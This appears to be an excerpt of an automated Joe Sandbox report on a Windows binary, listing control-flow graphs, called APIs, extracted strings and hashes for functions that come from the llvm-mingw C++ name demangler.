                                  control_flow_graph 1035 7ff779706520-7ff779706539 1036 7ff77970653b-7ff779706542 1035->1036 1037 7ff779706549-7ff77970655a 1035->1037 1036->1037 1038 7ff779706575-7ff77970657e 1037->1038 1039 7ff77970655c 1037->1039 1040 7ff779706580-7ff779706589 1038->1040 1041 7ff7797065dc-7ff7797065e6 1038->1041 1042 7ff77970655e-7ff779706574 1039->1042 1043 7ff779706640-7ff7797066bf 1040->1043 1044 7ff77970658f-7ff779706598 1040->1044 1041->1039 1045 7ff7797065ec-7ff7797065f8 1041->1045 1046 7ff7797066c5-7ff7797066d3 1043->1046 1047 7ff77970688a-7ff7797068b6 1043->1047 1044->1039 1048 7ff77970659a-7ff7797065a4 1044->1048 1049 7ff7797065fe-7ff779706608 1045->1049 1050 7ff7797066f9-7ff779706701 1045->1050 1051 7ff779706849-7ff779706854 malloc 1046->1051 1052 7ff7797066d9-7ff7797066ee realloc 1046->1052 1055 7ff7797069c6-7ff7797069e5 call 7ff7796fd9a0 1047->1055 1056 7ff7797068bc-7ff7797068c9 1047->1056 1048->1039 1053 7ff7797065a6-7ff7797065af 1048->1053 1057 7ff779706610-7ff779706619 1049->1057 1050->1039 1054 7ff779706707-7ff77970670a 1050->1054 1058 7ff77970685a-7ff779706860 1051->1058 1059 7ff779706c67 call 7ff7796f2d30 1051->1059 1060 7ff7797066f4 1052->1060 1061 7ff779706877-7ff779706883 1052->1061 1062 7ff7797065b5-7ff7797065b7 1053->1062 1063 7ff7797067a0-7ff7797067a3 1053->1063 1054->1039 1064 7ff779706710-7ff77970672e 1054->1064 1086 7ff779706a06-7ff779706a14 1055->1086 1087 7ff7797069e7-7ff7797069f5 1055->1087 1065 7ff779706925-7ff779706928 1056->1065 1067 7ff77970662f-7ff779706635 1057->1067 1068 7ff77970661b-7ff779706627 1057->1068 1069 7ff779706862-7ff77970686b memcpy 1058->1069 1070 7ff779706870 1058->1070 1082 7ff779706c6c-7ff779706c80 _assert 1059->1082 1060->1059 1061->1047 1071 7ff7797065c0-7ff7797065c9 1062->1071 1063->1039 1075 7ff7797067a9-7ff7797067ac 1063->1075 1072 7ff779706730-7ff77970673d malloc 1064->1072 1073 7ff77970675a-7ff77970679b 1064->1073 1065->1055 1076 7ff77970692e-7ff779706932 1065->1076 1067->1054 1079 7ff77970663b 1067->1079 1068->1057 1078 7ff779706629-7ff77970662c 1068->1078 1069->1070 1070->1061 1071->1063 1080 7ff7797065cf-7ff7797065d8 1071->1080 1072->1059 1081 7ff779706743-7ff779706757 1072->1081 1073->1042 1075->1039 1083 7ff7797067b2-7ff7797067d0 1075->1083 1084 7ff779706934-7ff779706938 1076->1084 1085 7ff779706940 1076->1085 1078->1067 1079->1039 1080->1071 1088 7ff7797065da 1080->1088 1081->1073 1089 7ff779706c86-7ff779706ccf _assert call 7ff7797080f0 call 7ff7796f3f50 1082->1089 1090 7ff7797067d2-7ff7797067df malloc 1083->1090 1091 7ff7797067fc-7ff779706844 1083->1091 1092 7ff779706942-7ff779706956 memchr 1084->1092 1085->1092 1094 7ff779706a16-7ff779706a1f 1086->1094 1095 7ff779706a25-7ff779706a2b 1086->1095 1087->1089 1093 7ff7797069fb-7ff7797069ff 1087->1093 1088->1042 1090->1059 1099 7ff7797067e5-7ff7797067f9 1090->1099 1091->1042 1092->1055 1100 7ff779706958-7ff77970695f 1092->1100 1093->1086 1094->1095 1096 7ff779706af1 1094->1096 1097 7ff779706a30-7ff779706a3e call 7ff7796fba60 1095->1097 1102 7ff779706af5-7ff779706b15 call 7ff7796fd9a0 1096->1102 1111 7ff779706a44-7ff779706a4c 1097->1111 1112 7ff779706c13-7ff779706c35 1097->1112 1099->1091 1100->1055 1101 7ff779706961-7ff77970696f call 7ff779707b80 1100->1101 1101->1112 1114 7ff779706975-7ff77970697d 1101->1114 1115 7ff779706b51 1102->1115 1116 7ff779706b17-7ff779706b23 1102->1116 1118 7ff779706a4e-7ff779706a5f 1111->1118 1119 7ff779706acb-7ff779706add 1111->1119 1112->1082 1117 7ff779706c37-7ff779706c4f 1112->1117 1121 7ff77970697f-7ff779706990 1114->1121 1122 7ff779706909-7ff77970691f 1114->1122 1124 7ff779706b54-7ff779706b57 1115->1124 1123 7ff779706b25-7ff779706b28 1116->1123 1116->1124 1125 7ff779706c56-7ff779706c62 1117->1125 1126 7ff779706c51 free 1117->1126 1127 7ff779706a61-7ff779706a70 realloc 1118->1127 1128 7ff779706a77-7ff779706a82 malloc 1118->1128 1119->1097 1129 7ff779706ae3-7ff779706ae6 1119->1129 1130 7ff779706996-7ff7797069a1 malloc 1121->1130 1131 7ff7797068cb-7ff7797068da realloc 1121->1131 1122->1055 1122->1065 1132 7ff779706b30-7ff779706b39 1123->1132 1136 7ff779706b59-7ff779706b5c 1124->1136 1125->1042 1126->1125 1133 7ff779706aa2-7ff779706ac7 1127->1133 1134 7ff779706a72 1127->1134 1128->1059 1135 7ff779706a88-7ff779706a8e 1128->1135 1129->1097 1137 7ff779706aec-7ff779706aef 1129->1137 1130->1059 1138 7ff7797069a7-7ff7797069ad 1130->1138 1131->1059 1141 7ff7797068e0-7ff779706905 1131->1141 1139 7ff779706b3b-7ff779706b44 1132->1139 1140 7ff779706b49-7ff779706b4f 1132->1140 1133->1119 1134->1059 1142 7ff779706a90-7ff779706a99 memcpy 1135->1142 1143 7ff779706a9e 1135->1143 1144 7ff779706b62-7ff779706b65 1136->1144 1145 7ff779706c11 1136->1145 1137->1102 1146 7ff7797069af-7ff7797069b8 memcpy 1138->1146 1147 7ff7797069bd-7ff7797069c1 1138->1147 1139->1132 1148 7ff779706b46 1139->1148 1140->1136 1141->1122 1142->1143 1143->1133 1144->1145 1149 7ff779706b6b-7ff779706b89 1144->1149 1145->1112 1146->1147 1147->1141 1148->1140 1150 7ff779706bb5-7ff779706c0f 1149->1150 1151 7ff779706b8b-7ff779706b98 malloc 1149->1151 1150->1112 1151->1059 1152 7ff779706b9e-7ff779706bb2 1151->1152 1152->1150
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: malloc$memcpyrealloc$_assert$freememchr
                                  • String ID: 'block-literal'$/home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$Last != First && "Popping empty vector!"$Parser->TemplateParams.size() >= OldNumTemplateParamLists$yptn
                                  • API String ID: 3787261664-3461159648
                                  • Opcode ID: 57f0d196df13843cdacfecd0714ebaf0385c5284f1a26d2321f516d71d41b19e
                                  • Instruction ID: 00b476251774b0ed839a6ecc4951f580651f2ef13a187a0864f19b0698ac4322
                                  • Opcode Fuzzy Hash: 57f0d196df13843cdacfecd0714ebaf0385c5284f1a26d2321f516d71d41b19e
                                  • Instruction Fuzzy Hash: DE22946373AF4281DA649F19E85427AB3B4FB48784F948635DA9D07795EF3CE041C3A0
                                  Function 00007FF7796FAD10 Relevance: 32.1, APIs: 12, Strings: 6, Instructions: 591COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1259 7ff7796fad10-7ff7796fadc2 1260 7ff7796fae56-7ff7796fae60 1259->1260 1261 7ff7796fadc8-7ff7796fae12 1259->1261 1264 7ff7796fae62-7ff7796fae78 memcpy 1260->1264 1265 7ff7796faead-7ff7796faeb0 1260->1265 1262 7ff7796faedc-7ff7796faedf 1261->1262 1263 7ff7796fae18-7ff7796fae23 1261->1263 1269 7ff7796faf05-7ff7796faf0f 1262->1269 1270 7ff7796faee1-7ff7796faefe free 1262->1270 1266 7ff7796fae25-7ff7796fae54 1263->1266 1267 7ff7796fae7a-7ff7796fae9e 1263->1267 1268 7ff7796faeb3-7ff7796faed6 1264->1268 1265->1268 1271 7ff7796faea5-7ff7796faea8 1266->1271 1267->1271 1268->1262 1268->1263 1272 7ff7796faf21 1269->1272 1273 7ff7796faf11-7ff7796faf1f memcpy 1269->1273 1270->1269 1275 7ff7796faf4b-7ff7796faf66 1271->1275 1274 7ff7796faf23-7ff7796faf44 1272->1274 1273->1274 1274->1275 1276 7ff7796fafd5-7ff7796fb018 call 7ff7796fcea0 1275->1276 1277 7ff7796faf68-7ff7796faf70 1275->1277 1283 7ff7796fb7a1 1276->1283 1289 7ff7796fb01e-7ff7796fb03b 1276->1289 1278 7ff7796faf76-7ff7796faf7a 1277->1278 1279 7ff7796fb0d9-7ff7796fb0dd 1277->1279 1278->1276 1281 7ff7796faf7c-7ff7796faf80 1278->1281 1282 7ff7796fb0e3-7ff7796fb0ea 1279->1282 1279->1283 1285 7ff7796faf86-7ff7796faf90 1281->1285 1286 7ff7796fb29c-7ff7796fb2a5 1281->1286 1287 7ff7796fb391-7ff7796fb3b2 call 7ff7796fe7e0 1282->1287 1288 7ff7796fb0f0-7ff7796fb0f3 1282->1288 1290 7ff7796fb7a3-7ff7796fb7c6 call 7ff7796fdc20 1283->1290 1285->1286 1293 7ff7796faf96-7ff7796fafa1 1285->1293 1291 7ff7796fb2c0-7ff7796fb2cc call 7ff7796fe1f0 1286->1291 1292 7ff7796fb2a7-7ff7796fb2b8 call 7ff7796fe1f0 1286->1292 1287->1290 1310 7ff7796fb3b8-7ff7796fb3c0 1287->1310 1294 7ff7796fb303-7ff7796fb31c call 7ff7796fcea0 1288->1294 1295 7ff7796fb0f9-7ff7796fb0fc 1288->1295 1296 7ff7796fb041-7ff7796fb04f 1289->1296 1297 7ff7796fb1b9 1289->1297 1291->1283 1321 7ff7796fb2d2-7ff7796fb2e2 call 7ff7796fad10 1291->1321 1292->1283 1319 7ff7796fb2be 1292->1319 1293->1276 1294->1283 1317 7ff7796fb322-7ff7796fb32e 1294->1317 1295->1283 1306 7ff7796fb102-7ff7796fb119 call 7ff7796fcea0 1295->1306 1296->1283 1307 7ff7796fb055-7ff7796fb05b 1296->1307 1303 7ff7796fb8df-7ff7796fb8f3 _assert 1297->1303 1304 7ff7796fb1bf-7ff7796fb1c3 1297->1304 1314 7ff7796fb8f9-7ff7796fb922 call 7ff7796f2d30 call 7ff7796fdc20 call 7ff7796f3f50 1303->1314 1312 7ff7796fb1ca-7ff7796fb1d7 1304->1312 1306->1283 1334 7ff7796fb11f-7ff7796fb137 1306->1334 1307->1283 1316 7ff7796fb061-7ff7796fb07a 1307->1316 1310->1290 1318 7ff7796fb3c6-7ff7796fb3de 1310->1318 1312->1290 1320 7ff7796fb1dd-7ff7796fb1e9 1312->1320 1316->1283 1324 7ff7796fb080-7ff7796fb087 1316->1324 1326 7ff7796fb374-7ff7796fb377 1317->1326 1327 7ff7796fb330-7ff7796fb338 1317->1327 1328 7ff7796fb3e0-7ff7796fb3ed malloc 1318->1328 1329 7ff7796fb40a-7ff7796fb45b 1318->1329 1319->1321 1330 7ff7796fb1ff-7ff7796fb20c 1320->1330 1331 7ff7796fb1eb-7ff7796fb1f9 1320->1331 1321->1283 1355 7ff7796fb2e8-7ff7796fb2f3 1321->1355 1325 7ff7796fb090-7ff7796fb09e 1324->1325 1335 7ff7796fb0a4-7ff7796fb0aa 1325->1335 1336 7ff7796fb5a2-7ff7796fb5a9 1325->1336 1342 7ff7796fb5ae-7ff7796fb5b0 1326->1342 1343 7ff7796fb37d-7ff7796fb380 1326->1343 1327->1326 1337 7ff7796fb33a-7ff7796fb33e 1327->1337 1328->1314 1338 7ff7796fb3f3-7ff7796fb407 1328->1338 1329->1290 1339 7ff7796fb232-7ff7796fb240 1330->1339 1340 7ff7796fb20e-7ff7796fb22c 1330->1340 1331->1290 1331->1330 1345 7ff7796fb163-7ff7796fb1b4 1334->1345 1346 7ff7796fb139-7ff7796fb146 malloc 1334->1346 1348 7ff7796fb0ac-7ff7796fb0c9 1335->1348 1349 7ff7796fb0cb-7ff7796fb0ce 1335->1349 1336->1312 1350 7ff7796fb340-7ff7796fb348 1337->1350 1351 7ff7796fb34a-7ff7796fb34c 1337->1351 1338->1329 1353 7ff7796fb242-7ff7796fb247 1339->1353 1354 7ff7796fb25f-7ff7796fb270 1339->1354 1340->1339 1352 7ff7796fb7c7-7ff7796fb7e0 1340->1352 1342->1283 1347 7ff7796fb5b6-7ff7796fb5c3 call 7ff7796fe720 1342->1347 1343->1342 1356 7ff7796fb386-7ff7796fb38c 1343->1356 1345->1290 1346->1314 1358 7ff7796fb14c-7ff7796fb160 1346->1358 1381 7ff7796fb75c-7ff7796fb75f 1347->1381 1348->1325 1348->1349 1349->1312 1360 7ff7796fb0d4 1349->1360 1350->1326 1350->1351 1362 7ff7796fb35d-7ff7796fb363 1351->1362 1361 7ff7796fb833-7ff7796fb836 1352->1361 1353->1354 1363 7ff7796fb249-7ff7796fb259 call 7ff7796fba60 1353->1363 1366 7ff7796fb276-7ff7796fb279 1354->1366 1367 7ff7796fb46a-7ff7796fb47a 1354->1367 1364 7ff7796fb460-7ff7796fb465 call 7ff7796fe660 1355->1364 1365 7ff7796fb2f9-7ff7796fb2fe call 7ff7796fe5a0 1355->1365 1356->1347 1358->1345 1360->1283 1374 7ff7796fb83d-7ff7796fb84b call 7ff7796fd5c0 1361->1374 1375 7ff7796fb838-7ff7796fb83b 1361->1375 1372 7ff7796fb365-7ff7796fb368 1362->1372 1373 7ff7796fb372 1362->1373 1363->1283 1363->1354 1364->1381 1365->1381 1366->1367 1379 7ff7796fb27f-7ff7796fb297 1366->1379 1377 7ff7796fb47c-7ff7796fb48a call 7ff7796fba60 1367->1377 1383 7ff7796fb34e-7ff7796fb357 1372->1383 1384 7ff7796fb36a-7ff7796fb370 1372->1384 1373->1326 1374->1290 1396 7ff7796fb851-7ff7796fb859 1374->1396 1375->1374 1385 7ff7796fb89e-7ff7796fb8d4 call 7ff7796fd9a0 call 7ff7796fd8f0 1375->1385 1377->1290 1397 7ff7796fb490-7ff7796fb498 1377->1397 1390 7ff7796fb57c-7ff7796fb59d call 7ff7796fdb20 1379->1390 1381->1290 1383->1290 1383->1362 1384->1373 1384->1383 1385->1353 1416 7ff7796fb8da 1385->1416 1390->1381 1400 7ff7796fb820-7ff7796fb82f 1396->1400 1401 7ff7796fb85b-7ff7796fb86c 1396->1401 1402 7ff7796fb51f-7ff7796fb533 1397->1402 1403 7ff7796fb49e-7ff7796fb4b3 1397->1403 1400->1361 1407 7ff7796fb7e2-7ff7796fb7f1 realloc 1401->1407 1408 7ff7796fb872-7ff7796fb87d malloc 1401->1408 1405 7ff7796fb535-7ff7796fb53e 1402->1405 1406 7ff7796fb558-7ff7796fb577 call 7ff7796fd9a0 1402->1406 1409 7ff7796fb4b5-7ff7796fb4c4 realloc 1403->1409 1410 7ff7796fb4cb-7ff7796fb4d6 malloc 1403->1410 1405->1377 1417 7ff7796fb544-7ff7796fb552 1405->1417 1406->1390 1407->1314 1415 7ff7796fb7f7-7ff7796fb81c 1407->1415 1408->1314 1411 7ff7796fb87f-7ff7796fb885 1408->1411 1412 7ff7796fb4f6-7ff7796fb51b 1409->1412 1413 7ff7796fb4c6 1409->1413 1410->1314 1414 7ff7796fb4dc-7ff7796fb4e2 1410->1414 1419 7ff7796fb895-7ff7796fb899 1411->1419 1420 7ff7796fb887-7ff7796fb890 memcpy 1411->1420 1412->1402 1413->1314 1421 7ff7796fb4e4-7ff7796fb4ed memcpy 1414->1421 1422 7ff7796fb4f2 1414->1422 1415->1400 1416->1354 1417->1377 1417->1406 1419->1415 1420->1419 1421->1422 1422->1412
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: memcpy$free
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$Index <= size() && "dropBack() can't expand!"$Ua9enabl$able_ifI$guard variable for $initializer for module
                                  • API String ID: 2888793982-723539340
                                  • Opcode ID: 56c756458f6442a6091dfe210a7685922c485abfd09ba2f0b48504d6191023ce
                                  • Instruction ID: 7f958162afb5a5d1e5f7502afaf64a19ab2618a4f88751a5767464cc7e4e4c5d
                                  • Opcode Fuzzy Hash: 56c756458f6442a6091dfe210a7685922c485abfd09ba2f0b48504d6191023ce
                                  • Instruction Fuzzy Hash: 9B42623363AB8285EA649F25E4443AAB3B7FB85780F944235DA8D87795EF3CE045C350
                                  Function 00007FF7796FA480 Relevance: 30.2, APIs: 10, Strings: 7, Instructions: 400stringCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1533 7ff7796fa480-7ff7796fa49f call 7ff7796f54a0 1536 7ff7796fa4b4-7ff7796fa4b7 1533->1536 1537 7ff7796fa4a1-7ff7796fa4ad 1533->1537 1540 7ff7796fa4bf-7ff7796fa4c1 1536->1540 1541 7ff7796fa4b9 1536->1541 1538 7ff7796fa4c6-7ff7796fa721 strlen 1537->1538 1539 7ff7796fa4af-7ff7796fa4b2 1537->1539 1543 7ff7796fa723-7ff7796fa72d 1538->1543 1544 7ff7796fa77d-7ff7796fa794 call 7ff7796fba60 1538->1544 1539->1536 1539->1538 1542 7ff7796fab4c-7ff7796fab62 1540->1542 1541->1540 1546 7ff7796fa7a6-7ff7796fa7ab 1543->1546 1547 7ff7796fa72f-7ff7796fa733 1543->1547 1553 7ff7796fa9cf-7ff7796fa9d2 1544->1553 1554 7ff7796fa79a-7ff7796fa7a1 1544->1554 1549 7ff7796fa7b2-7ff7796fa7cf call 7ff7796fad10 1546->1549 1547->1544 1550 7ff7796fa735-7ff7796fa74a 1547->1550 1566 7ff7796fa7d5-7ff7796fa7e2 1549->1566 1567 7ff7796fa8a0-7ff7796fa8a2 1549->1567 1551 7ff7796fa7ad 1550->1551 1552 7ff7796fa74c-7ff7796fa750 1550->1552 1551->1549 1552->1544 1556 7ff7796fa752-7ff7796fa759 1552->1556 1553->1554 1557 7ff7796fa9d8-7ff7796fa9db 1553->1557 1558 7ff7796faabd-7ff7796faac0 1554->1558 1560 7ff7796fa75f-7ff7796fa763 1556->1560 1561 7ff7796fa8be-7ff7796fa8c3 1556->1561 1564 7ff7796fa9e2 1557->1564 1565 7ff7796fa9dd-7ff7796fa9e0 1557->1565 1562 7ff7796faac4-7ff7796faacf 1558->1562 1563 7ff7796faac2 1558->1563 1560->1544 1568 7ff7796fa765-7ff7796fa777 1560->1568 1572 7ff7796fa8ca-7ff7796fa8e4 call 7ff7796fad10 1561->1572 1569 7ff7796faad5-7ff7796faaf8 1562->1569 1570 7ff7796fab7c-7ff7796fab8a 1562->1570 1563->1562 1571 7ff7796fa9e4-7ff7796faa18 1564->1571 1565->1571 1573 7ff7796fa88b-7ff7796fa89b 1566->1573 1574 7ff7796fa7e8-7ff7796fa7ed 1566->1574 1567->1558 1568->1544 1577 7ff7796fa8c5 1568->1577 1578 7ff7796faaff-7ff7796fab12 1569->1578 1579 7ff7796faafa free 1569->1579 1575 7ff7796fab70-7ff7796fab76 1570->1575 1576 7ff7796fab8c-7ff7796fab99 free 1570->1576 1580 7ff7796faa1e-7ff7796faa3c 1571->1580 1581 7ff7796fab9b-7ff7796fabaf _assert 1571->1581 1596 7ff7796fa8e6-7ff7796fa8fa 1572->1596 1597 7ff7796fa91c-7ff7796fa922 1572->1597 1573->1557 1583 7ff7796fa7f3-7ff7796fa80c 1574->1583 1584 7ff7796fa8a7-7ff7796fa8b9 1574->1584 1575->1569 1575->1570 1576->1575 1577->1572 1588 7ff7796fab14 free 1578->1588 1589 7ff7796fab19-7ff7796fab24 1578->1589 1579->1578 1599 7ff7796faa53-7ff7796faa69 1580->1599 1600 7ff7796faa3e-7ff7796faa4a 1580->1600 1587 7ff7796fabb5-7ff7796fabd1 call 7ff7796f2d30 call 7ff7796fabe0 call 7ff7796f3f50 1581->1587 1585 7ff7796fa80e-7ff7796fa81b malloc 1583->1585 1586 7ff7796fa839-7ff7796fa886 1583->1586 1584->1558 1585->1587 1591 7ff7796fa821-7ff7796fa836 1585->1591 1586->1573 1588->1589 1594 7ff7796fab26 free 1589->1594 1595 7ff7796fab2b-7ff7796fab36 1589->1595 1591->1586 1594->1595 1601 7ff7796fab3d-7ff7796fab45 1595->1601 1602 7ff7796fab38 free 1595->1602 1596->1597 1603 7ff7796fa8fc-7ff7796fa91a 1596->1603 1597->1557 1604 7ff7796fa928 1597->1604 1606 7ff7796faaa0-7ff7796faaac 1599->1606 1607 7ff7796faa6b-7ff7796faa91 realloc 1599->1607 1600->1599 1601->1542 1609 7ff7796fab47 free 1601->1609 1602->1601 1603->1597 1608 7ff7796fa92d-7ff7796fa939 1603->1608 1604->1554 1610 7ff7796faab6-7ff7796faabb 1606->1610 1611 7ff7796faaae-7ff7796faab3 1606->1611 1607->1587 1615 7ff7796faa97-7ff7796faa9c 1607->1615 1612 7ff7796fa9b6-7ff7796fa9cc call 7ff7796fb9a0 1608->1612 1613 7ff7796fa93b-7ff7796fa941 1608->1613 1609->1542 1610->1558 1611->1610 1612->1553 1617 7ff7796fa943-7ff7796fa94c 1613->1617 1618 7ff7796fa94f-7ff7796fa955 1613->1618 1615->1606 1617->1618 1621 7ff7796fa992 1618->1621 1622 7ff7796fa957-7ff7796fa963 1618->1622 1624 7ff7796fa995-7ff7796fa998 1621->1624 1622->1624 1625 7ff7796fa965 1622->1625 1628 7ff7796fa9a3-7ff7796fa9a6 1624->1628 1629 7ff7796fa99a-7ff7796fa99d 1624->1629 1627 7ff7796fa968-7ff7796fa974 1625->1627 1630 7ff7796fa986-7ff7796fa990 1627->1630 1631 7ff7796fa976-7ff7796fa981 1627->1631 1628->1612 1632 7ff7796fa9a8-7ff7796fa9ab 1628->1632 1629->1597 1629->1628 1630->1624 1631->1627 1633 7ff7796fa983 1631->1633 1632->1597 1634 7ff7796fa9b1 1632->1634 1633->1630 1634->1612
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: free$mallocreallocstrlen
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/cxa_demangle.cpp$Parser.ForwardTemplateRefs.empty()$___Z$____$_block_i$invocation function for block in $k_invoke
                                  • API String ID: 3545345670-2202808109
                                  • Opcode ID: 861c98a3b672e6a2a383b269d5275672217222fa8a2771e2f6aeb1d11a5c4d7e
                                  • Instruction ID: 12a0c4361d4d8ca176da793f34228633c0d92626ad32919a86cbe80f508f0348
                                  • Opcode Fuzzy Hash: 861c98a3b672e6a2a383b269d5275672217222fa8a2771e2f6aeb1d11a5c4d7e
                                  • Instruction Fuzzy Hash: BB127D2392EAC281EA759F04E4542FAA3B6EB94750F805331EA9D42A95FF7CD185CB10
                                  Function 00007FF77970D0F0 Relevance: 15.4, APIs: 9, Strings: 1, Instructions: 416stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: malloc$strlen
                                  • String ID: objcprot
                                  • API String ID: 832207080-2390413308
                                  • Opcode ID: be403558d5c19889a774bf8358e63478aaf42b095cca7af1ba9038f461d2711f
                                  • Instruction ID: 45672b5dafc5353ba50553e2b4035f6698cd44099233cb0e26c0afa57773cac6
                                  • Opcode Fuzzy Hash: be403558d5c19889a774bf8358e63478aaf42b095cca7af1ba9038f461d2711f
                                  • Instruction Fuzzy Hash: D102063362AB8281EB559F24E8846A977A5EB08BD4F854731DFAC073C5DF38E552C350
                                  Function 00007FF779704440 Relevance: 13.0, APIs: 10, Instructions: 464COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: malloc
                                  • String ID:
                                  • API String ID: 2803490479-0
                                  • Opcode ID: d54b64b8036d404a69da6403a70ed05ca69e7b2365ca9259877c42ed947f1859
                                  • Instruction ID: 6af6ffbd88712ea781de3485ac9404d8ce964339406385f3156026f31f47353c
                                  • Opcode Fuzzy Hash: d54b64b8036d404a69da6403a70ed05ca69e7b2365ca9259877c42ed947f1859
                                  • Instruction Fuzzy Hash: 5C22D43362AB8285EBA49F18D4453A977B4FB48BC0F944635DB9C07391EF38E552C364
                                  Function 00007FF779700160 Relevance: 10.9, APIs: 7, Instructions: 377COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
